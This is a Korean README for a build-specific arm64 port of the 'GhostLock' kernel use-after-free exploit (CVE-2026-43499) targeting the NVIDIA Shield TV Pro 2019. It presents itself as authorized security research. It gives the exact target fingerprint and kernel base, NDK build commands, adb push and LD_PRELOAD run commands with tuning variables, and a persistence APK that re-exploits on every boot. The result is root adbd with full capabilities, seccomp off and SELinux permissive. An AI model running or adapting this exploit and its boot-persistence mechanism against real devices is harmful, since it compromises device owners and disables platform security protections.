
검증된 GhostLock CVE-2026-43499 포트, NVIDIA Shield TV Pro mdarcy 9.2.4용
2019 NVIDIA Shield TV Pro(mdarcy)에서 Shield Experience 9.2.4를 실행하는 환경을 위해 검증된 GhostLock futex PI use-after-free(CVE-2026-43499)의 arm64 포트입니다. 이 페이로드는 실행 중인 ADB 데몬의 자격 증명을 변경하므로, 부트로더 잠금 해제, userdata 초기화, su 설치 또는 검증된 파티션 수정 없이도 새 ADB 셸이 UID 0으로 실행됩니다.
이는 승인된 보안 연구를 위한 빌드 특정 커널 익스플로잇입니다. 불일치 또는 레이스 실패 시 커널이 패닉할 수 있습니다. 다른 fingerprint, 커널, 기기 또는 하드웨어 개정판에서는 실행하지 마십시오.
| 필드 | 필수 값 |
|---|---|
| 제품 | NVIDIA Shield TV Pro 2019, mdarcy |
| Fingerprint | NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys |
| 커널 | 4.9.141-tegra-gb6e5605a |
| Android 패치 레벨 | 2026-01-05 |
| 커널 베이스 | 0xffffff8008080000 (오프셋 비활성화) |
이 포트는 Verified Boot가 활성화되고 dm-verity가 적용된 잠긴 기기에서 검증되었습니다. 익스플로잇은 실행 중인 커널 상태만 변경하므로 이러한 메커니즘은 그대로 유지됩니다.
성공적인 실행 후, 새 연결은 adbd와 그 하위 셸 모두에 대해 UID/GID 0, capability 37까지의 전체 capabilities, seccomp 비활성화, SELinux permissive를 보고합니다. Root 권한은 ADB 클라이언트 연결 해제 후에도 유지됩니다. 그러나 adbd 재시작이나 기기 재부팅 시에는 유지되지 않습니다.
검증된 파티션을 수정하지 않고 실용적인 재부팅 지속성을 위해, 저장소에는 userdata APK가 포함되어 있습니다. 해당 APK의 비공개 BOOT_COMPLETED 리시버는 수명이 짧은 포그라운드 서비스를 시작하며, 이 서비스는 권한 없는 앱 UID에서 부팅당 한 번 해시 고정 익스플로잇을 실행하고 러너가 종료되면 중지됩니다. 설치 후에는 외부 호스트가 필요하지 않습니다. 복구 대체 수단으로 외부 Podman watchdog도 계속 사용할 수 있습니다. persistence/README.md 및 watchdog/README.md를 참조하십시오.
이는 정적 펌웨어 패치가 아닌 자율적 재익스플로잇입니다. 모든 부팅에는 adbd가 여전히 기본 자격 증명을 보유하는 짧은 간격이 있습니다. Android가 초기화하기 전에 adbd가 root로 시작하도록 만드는 것은 검증된 부팅 체인을 변경해야 하므로, 이 잠금 및 무초기화 설계 범위를 벗어납니다.
rt_mutex_waiter를 유지합니다.MCAST_BLOCK_SOURCE로 스탬프하고 rt-mutex 트리 연산을 리디렉션합니다.mm_struct 슬랩 페이지를 형상화된 skb 페이로드로 회수합니다.ashmem_misc.fops를 레거시 configfs 읽기/쓰기 핸들러가 지원하는 가짜 테이블로 리디렉션합니다.adbd PID를 찾고 완전한 자격 증명 객체를 확인합니다.상속된 파이프 버퍼 물리적 읽기/쓰기 단계는 사용되지 않습니다. 자세한 대상 관찰 및 검증된 오프셋은 PORT_STATUS.md에 있습니다.
컴파일러는 Android NDK r29(aarch64-linux-android30-clang)입니다. 설치된 Linux NDK로 직접 빌드합니다:
cd exploit
make NDK=/opt/android-ndk-r29
또는 제공된 Podman 이미지를 빌드합니다. 이 이미지는 공식 r29 Linux 아카이브를 다운로드하고 추출 전에 게시된 SHA-1을 확인합니다:
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
-v "$PWD:/src:Z" \
-w /src/exploit \
ghostlock-android:ndk-r29 make -B
출력:
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761
Shield 빌드는 의도적으로 참조 프로젝트의 내장 su 데몬 및 배경화면 페이로드를 제외합니다.
승인된 네트워크 ADB로 연결하고 릴리스 자산 또는 로컬 빌드를 푸시한 다음 ADB 셸에 진입합니다:
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
exploit/build/preload-mdarcy-9.2.4.so \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell
기기 셸 내부에서 다음을 실행합니다:
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true
연결을 끊고 검증을 위해 새 전송을 엽니다:
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'
페이로드는 GHOSTLOCK_FORCE_ROOT_TRIGGER=1이 의도적으로 제공되지 않는 한 이미 UID-0인 ADB 셸에서 재트리거를 거부합니다. 강제로 실행하지 마십시오. 권한 있는 스케줄링 경로는 서로 다른 PI 동작을 가지며 패닉을 유발할 수 있습니다.
서명된 릴리스 APK를 persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk에 다운로드한 다음, 승인된 PowerShell ADB 호스트에서 설치 및 준비합니다:
./persistence/install.ps1 `
-Target SHIELD_ADDRESS:5555 `
-AdbPath C:/path/to/platform-tools/adb.exe
설치 프로그램은 userdata만 변경하며 재부팅하지 않습니다. 다음 BOOT_COMPLETED 시 앱은 정확한 fingerprint, 커널 및 내장 페이로드 해시를 검증하고 시도를 기록한 다음 일반 앱 UID에서 GhostLock을 호출합니다. 파일 잠금, 부팅당 1회 시도 상태 및 15분 크로스 부팅 쿨다운으로 중복 또는 재부팅 루프 시도를 방지합니다. su 바이너리는 설치하지 않습니다. Android는 네이티브 러너가 활성화된 동안에만 우선순위가 낮은 Restoring ADB root 알림을 표시하며, 프로세스가 종료되면 대기자가 이를 제거합니다. 빌드, 서명, 로그, 검증, 복구 및 제거 세부 사항은 persistence/README.md를 참조하십시오.
최종 APK는 외부 watchdog을 중지한 상태에서 검증되었습니다: 부팅 횟수 134에서 처음으로 기본 UID-2000/enforcing adbd가 노출되었고, 다음 새 전송은 전체 0x3fffffffff capability 마스크, seccomp 비활성화 및 SELinux permissive 상태의 UID/GID 0이었습니다. 서비스와 알림은 스스로 정리되었습니다.
수동 실행 진단은 /sdcard/Download/log_<timestamp>.txt에 동기적으로 기록되며, 실패 시 /data/local/tmp로 대체됩니다. 부팅 앱은 러너 및 페이로드 출력을 자체 files/boot.log로 리디렉션하며, run-as com.cyberbalsa.ghostlockboot로 읽을 수 있습니다. 레이스로 인해 커널이 패닉하면 트리거 전 상태로 인해 해당 부팅 횟수에서 추가 시도가 방지되고 15분 쿨다운이 재부팅 후에도 유지됩니다.
exploit/src/: 트리거, 회수, 임의 읽기/쓰기 및 제한된 adbd 자격 증명 패치.exploit/targets/shield-mdarcy-9.2.4/: 정확한 빌드 특정 대상 레이아웃.analysis/: 커널 심볼 및 레이아웃 추출 헬퍼.persistence/: 기기 내 부팅 APK, 네이티브 러너 및 설치 프로그램.watchdog/: 해시 고정 호스트 측 복구 대체 수단.report.md: 출처 보존을 위해 유지된 원본 OPPO 참조 포트 분석.이 포트는 NebuSec이 게시한 GhostLock 연구 및 익스플로잇 프레임워크와 yijiacloud의 OPPO PCKM00 참조 포트에서 파생되었습니다. KernelSnitch는 상위 업스트림 조건에 따라 포함됩니다.
Apache-2.0; LICENSE 참조.